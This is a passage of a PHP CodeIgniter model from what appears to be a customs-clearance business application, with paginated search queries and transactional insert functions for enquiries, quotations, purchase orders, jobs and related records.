        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'invoice_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'invoice_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('customer_invoice');
        $this-&gt;db-&gt;join('master', 'master_id=invoice_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=invoice_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        $this-&gt;db-&gt;where('posted', '0');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('invoice_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_invoice_posted($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('customer_invoice');
        $this-&gt;db-&gt;join('master', 'master_id=invoice_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=invoice_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        $this-&gt;db-&gt;where('posted', '1');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'invoice_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'invoice_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('customer_invoice');
        $this-&gt;db-&gt;join('master', 'master_id=invoice_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=invoice_job_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        $this-&gt;db-&gt;where('posted', '1');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('invoice_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_consolidated_invoice($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('consolidated_invoice');
        $this-&gt;db-&gt;join('master', 'master_id=consolidated_invoice_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=consolidated_invoice_customer_id', 'left');
        $this-&gt;db-&gt;where('invoice_type', 'cc');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $postdata = $_SESSION['searchdata'];
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'consolidated_invoice_upto') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'consolidated_invoice_upto') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('consolidated_invoice');
        $this-&gt;db-&gt;join('master', 'master_id=consolidated_invoice_id');
        $this-&gt;db-&gt;join('customer', 'customer_id=consolidated_invoice_customer_id', 'left');
        $this-&gt;db-&gt;where('invoice_type', 'cc');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('consolidated_invoice_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_way_bill($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_way_bill');
        $this-&gt;db-&gt;join('master', 'master_id=cc_way_bill_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_way_bill_job_id');
        $this-&gt;db-&gt;join('cc_do_collection', 'cc_do_collection_id=cc_job_register.cc_job_register_awb_mbl', 'left');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_way_bill_collected_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_way_bill_collected_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_way_bill');
        $this-&gt;db-&gt;join('master', 'master_id=cc_way_bill_id');
        $this-&gt;db-&gt;join('cc_job_register', 'cc_job_register_id=cc_way_bill_job_id');
        $this-&gt;db-&gt;join('cc_do_collection', 'cc_do_collection_id=cc_job_register.cc_job_register_awb_mbl', 'left');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_job_register.cc_job_register_customer_id', 'left');
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_way_bill_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    /* Search function ends here */

    /*  Add functions starts here */

    function insert_cc_enquiry($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_enquiry_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_enquiry_date']);
        $cc_enquiry_shipment_other = "";
        $remind_close = 0;
        $remind_date = "";
        $cc_enquiry_reminder_remarks = "";

        if (isset($postdata['remind_date']))
            $remind_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['remind_date']);
        if (isset($postdata['cc_enquiry_status_remarks']))
            $cc_enquiry_reminder_remarks = $postdata['cc_enquiry_status_remarks'];

        if ($postdata['cc_enquiry_status'] != "Active") {
            $remind_close = 1;
            $remind_date = "";
            $cc_enquiry_reminder_remarks = "";
        }

        if ($postdata['cc_enquiry_shipment_mode'] == 'Sea')
            $equipment_type = $postdata['cc_enquiry_equipment_type_id'];
        else
            $equipment_type = 0;

        if ($postdata['cc_enquiry_shipper_id'] != '') {
            $cc_enquiry_shipper = explode('-', $postdata['cc_enquiry_shipper']);
            $postdata['cc_enquiry_shipper'] = $cc_enquiry_shipper[0];
        }



        if (isset($postdata['shipment_other']))
            $cc_enquiry_shipment_other = $postdata['shipment_other'];

        $tblValues = array(
            'cc_enquiry_id' =&gt; $masterid,
            'cc_enquiry_code' =&gt; $postdata['cc_enquiry_code'],
            'cc_enquiry_customer_id' =&gt; $postdata['cc_enquiry_customer_id'],
            'cc_enquiry_date' =&gt; $cc_enquiry_date,
            'cc_enquiry_shipper_name' =&gt; $postdata['cc_enquiry_shipper'],
            'cc_enquiry_shipper_address' =&gt; $postdata['cc_enquiry_shipper_address'],
            'cc_enquiry_port_id' =&gt; $postdata['cc_enquiry_port_id'],
            'cc_enquiry_equipment_type_id' =&gt; $equipment_type,
            'cc_enquiry_carrier_id' =&gt; $postdata['cc_enquiry_carrier_id'],
            'cc_enquiry_shipment_mode' =&gt; $postdata['cc_enquiry_shipment_mode'],
            'cc_enquiry_shipment_term_id' =&gt; $postdata['cc_enquiry_shipment_term_id'],
            'cc_enquiry_commodity' =&gt; $postdata['cc_enquiry_commodity'],
            'cc_enquiry_pcs' =&gt; $postdata['cc_enquiry_pcs'],
            'cc_enquiry_net_weight' =&gt; $postdata['cc_enquiry_gross_weight'],
            'cc_enquiry_gross_weight' =&gt; $postdata['cc_enquiry_gross_weight'],
            'cc_enquiry_volume' =&gt; $postdata['cc_enquiry_volume'],
            'cc_enquiry_port_id' =&gt; $postdata['cc_enquiry_port_id'],
            'cc_enquiry_commercial_value' =&gt; $postdata['cc_enquiry_commercial_value'],
            'cc_enquiry_requester_name' =&gt; $postdata['cc_enquiry_requester_name'],
            'cc_enquiry_requester_mail' =&gt; $postdata['cc_enquiry_requester_mail'],
            'cc_enquiry_requester_contact_no' =&gt; $postdata['cc_enquiry_requester_contact_no'],
            'cc_enquiry_shipment_other' =&gt; $cc_enquiry_shipment_other,
            'remind_date' =&gt; $remind_date,
            'remind_close' =&gt; $remind_close,
            'cc_enquiry_reminder_remarks' =&gt; $cc_enquiry_reminder_remarks,
            'cc_enquiry_status' =&gt; $postdata['cc_enquiry_status'],
            'cc_enquiry_status_remarks' =&gt; $postdata['cc_enquiry_status_remarks'],
            'cc_enquiry_mail_request' =&gt; $postdata['cc_enquiry_mail_request'],
            'cc_enquiry_mail_subject' =&gt; $postdata['cc_enquiry_mail_subject']
        );
        $this-&gt;db-&gt;insert('cc_enquiry', $tblValues);
        $data['resfunction'] = 'search_cc_enquiry';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_cc_quotation($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $remind_close = 0;
        $remind_date = "";
        $cc_quotation_reminder_remarks = "";


        if (isset($postdata['remind_date']))
            $remind_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['remind_date']);
        if (isset($postdata['cc_quotation_status_remarks']))
            $cc_quotation_reminder_remarks = $postdata['cc_quotation_status_remarks'];

        if ($postdata['cc_quotation_status'] != "Active") {
            $remind_close = 1;
            $remind_date = "";
            $cc_quotation_reminder_remarks = "";
        }





        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_quotation_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_quotation_date']);
        $requested_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_quotation_requested_date']);

        if ($postdata['cc_quotation_shipment_mode'] == 'Sea')
            $equipment_type = $postdata['cc_quotation_equipment_type_id'];
        else
            $equipment_type = 0;
        if ($postdata['cc_quotation_shipper_id'] != '') {
            $cc_quotation_shipper = explode('-', $postdata['cc_quotation_shipper']);
            $postdata['cc_quotation_shipper'] = $cc_quotation_shipper[0];
        }
        if ($postdata['cc_quotation_requester_name_id'] != '') {
            $cc_enquiry_shipper = explode('-', $postdata['cc_quotation_requester_name']);
            $postdata['cc_quotation_requester_name'] = $cc_enquiry_shipper[0];
        }
        if (isset($postdata['general_quotation']))
            $general_quotation = 1;
        else
            $general_quotation = 0;
        $tblValues = array(
            'cc_quotation_id' =&gt; $masterid,
            'cc_enquiry_id' =&gt; $postdata['cc_enquiry_id'],
            'cc_quotation_customer_id' =&gt; $postdata['cc_quotation_customer_id'],
            'cc_quotation_shipper_name' =&gt; $postdata['cc_quotation_shipper'],
            'cc_quotation_shipper_address' =&gt; $postdata['cc_quotation_shipper_address'],
            'cc_quotation_shipment_mode' =&gt; $postdata['cc_quotation_shipment_mode'],
            'cc_quotation_shipment_term_id' =&gt; $postdata['cc_quotation_shipment_term_id'],
            'cc_quotation_commodity' =&gt; $postdata['cc_quotation_commodity'],
            'cc_quotation_equipment_type_id' =&gt; $equipment_type,
            'cc_quotation_gross_weight' =&gt; $postdata['cc_quotation_gross_weight'],
            'cc_quotation_net_weight' =&gt; $postdata['cc_quotation_net_weight'],
            'cc_quotation_volume' =&gt; $postdata['cc_quotation_volume'],
            'cc_quotation_no_pcs' =&gt; $postdata['cc_quotation_no_pcs'],
            'cc_quotation_port_id' =&gt; $postdata['cc_quotation_port_id'],
            'cc_quotation_date' =&gt; $cc_quotation_date,
            'cc_quotation_ref_no' =&gt; $postdata['cc_quotation_ref_no'],
            'cc_quotation_currency_id' =&gt; $postdata['cc_quotation_currency_id'],
            'cc_quotation_remarks' =&gt; $postdata['cc_quotation_remarks'],
            'cc_quotation_subject' =&gt; $postdata['cc_quotation_subject'],
            'cc_quotation_terms_conditions' =&gt; $postdata['cc_quotation_terms_conditions'],
            'cc_quotation_requester_name' =&gt; $postdata['cc_quotation_requester_name'],
            'cc_quotation_requester_mail' =&gt; $postdata['cc_quotation_requester_mail'],
            'cc_quotation_general' =&gt; $general_quotation,
            'cc_quotation_requested_date' =&gt; $requested_date,
            'cc_quotation_department' =&gt; $postdata['cc_quotation_department'],
            'cc_quotation_title' =&gt; $postdata['cc_quotation_title'],
            'cc_quotation_type_of_cost' =&gt; $postdata['cc_quotation_type_of_cost'],
            'cc_quotation_contact_tel_no' =&gt; $postdata['cc_quotation_contact_tel_no'],
            'cc_quotation_contact_mob_no' =&gt; $postdata['cc_quotation_contact_mob_no'],
            'cc_quotation_contact_fax' =&gt; $postdata['cc_quotation_contact_fax'],
            'remind_date' =&gt; $remind_date,
            'remind_close' =&gt; $remind_close,
            'cc_quotation_reminder_remarks' =&gt; $cc_quotation_reminder_remarks,
            'cc_quotation_status' =&gt; $postdata['cc_quotation_status'],
            'cc_quotation_iso_code' =&gt; $postdata['cc_quotation_iso_code'],
            'cc_quotation_status_remarks' =&gt; $postdata['cc_quotation_status_remarks']
        );

        $this-&gt;db-&gt;insert('cc_quotation', $tblValues);

        if ($general_quotation == 0) {
            $i = 1;
            while (isset($postdata['cc_quotation_description' . $i])) {
                if ($postdata['cc_quotation_description' . $i] != "") {
                    $tblValues = array(
                        'cc_quotation_id' =&gt; $masterid,
                        'cc_quotation_description' =&gt; $postdata['cc_quotation_description' . $i],
                        'cc_quotation_amount' =&gt; $postdata['cc_quotation_amount' . $i],
                        'cc_quotation_qty' =&gt; $postdata['cc_quotation_qty' . $i],
                        'cc_quotation_currency_id' =&gt; 0,
                        'cc_quotation_slno' =&gt; 0
                    );
                    $this-&gt;db-&gt;insert('cc_quotation_details', $tblValues);
                }
                $i++;
            }
        } else {
            $i = 1;
            while (isset($postdata['cc_general_qt_slno' . $i])) {
                if ($postdata['cc_general_qt_slno' . $i] != "") {


                    $tblValues = array(
                        'cc_quotation_id' =&gt; $masterid,
                        'cc_quotation_description' =&gt; $postdata['cc_general_qt_description' . $i],
                        'cc_quotation_amount' =&gt; $postdata['cc_general_qt_amount' . $i],
                        'cc_quotation_qty' =&gt; 1,
                        'cc_quotation_currency_id' =&gt; $postdata['cc_general_qt_currency_id' . $i],
                        'cc_quotation_slno' =&gt; $postdata['cc_general_qt_slno' . $i]
                    );
                    $this-&gt;db-&gt;insert('cc_quotation_details', $tblValues);
                }
                $i++;
            }
        }

        $data['resfunction'] = 'search_cc_quotation';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_cc_purchase_order($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_po_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_po_date']);
        if ($postdata['cc_po_shipper_id'] != '') {
            $cc_po_shipper = explode('-', $postdata['cc_po_shipper']);
            $postdata['cc_po_shipper'] = $cc_po_shipper[0];
        }
        $tblValues = array(
            'cc_po_id' =&gt; $masterid,
            'cc_enquiry_id' =&gt; $postdata['cc_enquiry_id'],
            'cc_quotation_id' =&gt; $postdata['cc_quotation_id'],
            'cc_po_customer_id' =&gt; $postdata['cc_po_customer_id'],
            'cc_po_shipper_name' =&gt; $postdata['cc_po_shipper'],
            'cc_po_shipper_address' =&gt; $postdata['cc_po_shipper_address'],
            'cc_po_shipment_mode' =&gt; $postdata['cc_po_shipment_mode'],
            'cc_po_shipment_term_id' =&gt; $postdata['cc_po_shipment_term_id'],
            'cc_po_commodity' =&gt; $postdata['cc_po_commodity'],
            'cc_po_equipment_type_id' =&gt; $postdata['cc_po_equipment_type_id'],
            'cc_po_gross_weight' =&gt; $postdata['cc_po_gross_weight'],
            'cc_po_net_weight' =&gt; $postdata['cc_po_net_weight'],
            'cc_po_volume' =&gt; $postdata['cc_po_volume'],
            'cc_po_no_pcs' =&gt; $postdata['cc_po_no_pcs'],
            'cc_po_port_id' =&gt; $postdata['cc_po_port_id'],
            'cc_po_date' =&gt; $cc_po_date,
            'cc_po_no' =&gt; $postdata['cc_po_no'],
            'cc_po_remarks' =&gt; $postdata['cc_po_remarks'],
        );

        $this-&gt;db-&gt;insert('cc_purchase_order', $tblValues);



        $data['resfunction'] = 'search_cc_purchase_order';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_authorization_letter($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_authorization_letter_received_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_received_date']);
        $cc_authorization_letter_send_to_port_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_send_to_port_date']);
        $cc_authorization_letter_expiry_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_expiry_date']);
        $cc_authorization_letter_alert_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_authorization_letter_alert_date']);

        $tblValues = array(
            'cc_authorization_letter_id' =&gt; $masterid,
            'cc_authorization_letter_customer_id' =&gt; $postdata['cc_authorization_letter_customer_id'],
            'cc_authorization_letter_received_date' =&gt; $cc_authorization_letter_received_date,
            'cc_authorization_letter_port_id' =&gt; $postdata['cc_authorization_letter_port_id'],
            'cc_authorization_letter_send_to_port_date' =&gt; $cc_authorization_letter_send_to_port_date,
            'cc_authorization_letter_expiry_date' =&gt; $cc_authorization_letter_expiry_date,
            'cc_authorization_letter_alert_date' =&gt; $cc_authorization_letter_alert_date,
            'cc_authorization_letter_remarks' =&gt; $postdata['cc_authorization_letter_remarks'],
        );

        $this-&gt;db-&gt;insert('cc_authorization_letter', $tblValues);



        $data['resfunction'] = 'search_authorization_letter';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_cc_job($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_job_register_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_date']);
        $cc_job_register_etd = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_etd']);
        $cc_job_register_eta = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_eta']);
        $cc_job_register_arrival_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_arrival_date']);
        $cc_job_register_do_collection = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_do_collection']);
        $cc_job_register_do_translation_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_do_translation_date']);
        $cc_job_register_send_to_port = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_send_to_port']);
        $cc_job_register_clearance_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_clearance_date']);
        $cc_job_register_delivery_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_delivery_date']);

        $pending_document = 0;
        if (isset($postdata['pending_document'])) {
            $pending_document = 1;
        }
        else
            $postdata['cc_job_register_pending_document'] = "";

        $pending_duty_amount = 0;
        if (isset($postdata['pending_duty_amount'])) {
            $pending_duty_amount = 1;
        }
        else
            $postdata['cc_job_register_pending_duty_amount'] = "";


        $status = '';
        if ($cc_job_register_arrival_date == "")
            $status = "Shipment not arrived";
        if ($cc_job_register_arrival_date != "" &amp;&amp; $cc_job_register_do_collection == "")
            $status = "DO not collected";
        if ($cc_job_register_do_collection != "" &amp;&amp; $cc_job_register_do_translation_date == "")
            $status = "Under Translation";
        if ($cc_job_register_do_translation_date != "" &amp;&amp; $cc_job_register_send_to_port == "")
            $status = "Translation not Send to Port";

        if ($cc_job_register_send_to_port != "")
            $status = "Under Clearance";

        if ($cc_job_register_send_to_port != "" &amp;&amp; ($pending_duty_amount == 1 || $pending_document == 1))
            $status = "Waiting for Duty Amount";

        if ($cc_job_register_clearance_date != "" &amp;&amp; $cc_job_register_delivery_date == "")
            $status = "Shipment Cleared";
        if ($cc_job_register_delivery_date != "")
            $status = "Job Completed";

        if ($status == "")
            $status = $postdata['cc_job_register_status'];

        if ($postdata['cc_job_register_shipper_id'] != '') {
            $cc_job_register_shipper = explode('-', $postdata['cc_job_register_shipper']);
            $postdata['cc_job_register_shipper'] = $cc_job_register_shipper[0];
        }



        $cc_job_shipment_other = "";
        if (isset($postdata['shipment_other']))
            $cc_job_shipment_other = $postdata['shipment_other'];

        $tblValues = array(
            'cc_job_register_id' =&gt; $masterid,
            'cc_enquiry_id' =&gt; $postdata['cc_enquiry_id'],
            'cc_quotation_id' =&gt; $postdata['cc_quotation_id'],
            'cc_po_id' =&gt; $postdata['cc_po_id'],
            'cc_job_register_department_code' =&gt; $postdata['cc_job_register_department_code'],
            'cc_job_register_code' =&gt; $postdata['cc_job_register_code'],
            'cc_job_register_date' =&gt; $cc_job_register_date,
            'cc_job_register_customer_id' =&gt; $postdata['cc_job_register_customer_id'],
            'cc_job_register_customer_address' =&gt; $postdata['cc_job_register_customer_address'],
            'cc_job_register_shipper_name' =&gt; $postdata['cc_job_register_shipper'],
            'cc_job_register_billing_customer_id' =&gt; $postdata['cc_job_register_billing_customer_id'],
            'cc_job_register_wbs' =&gt; $postdata['cc_job_register_wbs'],
            'cc_job_register_awb_mbl' =&gt; $postdata['cc_job_register_awb_mbl'],
            'cc_job_register_pol' =&gt; $postdata['cc_job_register_pol'],
            'cc_job_register_pod' =&gt; $postdata['cc_job_register_pod'],
            'cc_job_register_commodity' =&gt; $postdata['cc_job_register_commodity'],
            'cc_job_register_gross_weight' =&gt; $postdata['cc_job_register_gross_weight'],
            'cc_job_register_net_weight' =&gt; $postdata['cc_job_register_net_weight'],
            'cc_job_register_volume' =&gt; $postdata['cc_job_register_volume'],
            'cc_job_register_no_pcs' =&gt; $postdata['cc_job_register_no_pcs'],
            'cc_job_register_etd' =&gt; $cc_job_register_etd,
            'cc_job_register_eta' =&gt; $cc_job_register_eta,
            'cc_job_register_arrival_date' =&gt; $cc_job_register_arrival_date,
            'cc_job_register_do_collection' =&gt; $cc_job_register_do_collection,
            'cc_job_register_do_translation_date' =&gt; $cc_job_register_do_translation_date,
            'cc_job_register_send_to_port' =&gt; $cc_job_register_send_to_port,
            'cc_job_register_clearance_date' =&gt; $cc_job_register_clearance_date,
            'cc_job_register_delivery_date' =&gt; $cc_job_register_delivery_date,
            'cc_job_register_pending_document' =&gt; $postdata['cc_job_register_pending_document'],
            'cc_job_register_pending_duty_amount' =&gt; $postdata['cc_job_register_pending_duty_amount'],
            'cc_job_register_remarks' =&gt; $postdata['cc_job_register_remarks'],
            'cc_job_register_shipment_mode' =&gt; $postdata['cc_job_register_shipment_mode'],
            'cc_job_register_shipment_other' =&gt; $cc_job_shipment_other,
            'cc_job_register_shipment_term_id' =&gt; $postdata['cc_job_register_shipment_term_id'],
            'cc_job_register_duty_amount' =&gt; $postdata['cc_job_register_duty_amount'],
            'cc_job_register_carrier_id' =&gt; $postdata['cc_job_register_carrier_id'],
            'cc_job_register_status' =&gt; $status,
            'pending_duty_amount' =&gt; $pending_duty_amount,
            'pending_document' =&gt; $pending_document
        );

        $this-&gt;db-&gt;insert('cc_job_register', $tblValues);


        if ($postdata['cc_job_register_shipment_mode'] == 'Sea') {
            $i = 1;
            while (isset($postdata['cc_job_sea_container_no' . $i])) {
                if ($postdata['cc_job_sea_container_no' . $i] != "") {
                    $tblValues = array(
                        'cc_job_register_id' =&gt; $masterid,
                        'cc_job_sea_container_no' =&gt; $postdata['cc_job_sea_container_no' . $i],
                        'cc_job_sea_no_pcs' =&gt; $postdata['cc_job_sea_no_pcs' . $i],
                        'cc_job_sea_description' =&gt; $postdata['cc_job_sea_description' . $i],
                        'cc_job_sea_weight_kgs' =&gt; $postdata['cc_job_sea_weight_kgs' . $i],
                        'cc_job_sea_volume_cbm' =&gt; $postdata['cc_job_sea_volume_cbm' . $i],
                        'cc_job_sea_equipment_id' =&gt; $postdata['cc_job_sea_equipment_id' . $i],
                    );
                    $this-&gt;db-&gt;insert('cc_job_sea', $tblValues);
                }
                $i++;
            }
        }





        $i = 1;
        while (isset($postdata['cc_shipment_po_no' . $i])) {
            if ($postdata['cc_shipment_po_no' . $i] != "") {
                $tblValues = array('cc_shipment_po_job_id' =&gt; $masterid,
                    'cc_shipment_po_no' =&gt; $postdata['cc_shipment_po_no' . $i],
                    'cc_shipment_invoice_no' =&gt; $postdata['cc_shipment_invoice_no' . $i],
                    'cc_shipment_currency' =&gt; $postdata['cc_shipment_currency' . $i],
                    'cc_shipment_amount' =&gt; $postdata['cc_shipment_amount' . $i]);
                $this-&gt;db-&gt;insert('cc_shipment_po', $tblValues);
            }
            $i++;
        }

        $data['resfunction'] = 'search_cc_job';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_do_collection($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $cc_do_collection_requested_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_requested_date']);
        $cc_do_collection_arrival_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_arrival_date']);
        $cc_do_collection_eta = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_eta']);
        $cc_do_collection_etd = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_do_collection_etd']);

        if (isset($postdata['cc_do_colection_received'])) {
            $postdata['cc_do_colection_received'] = 1;
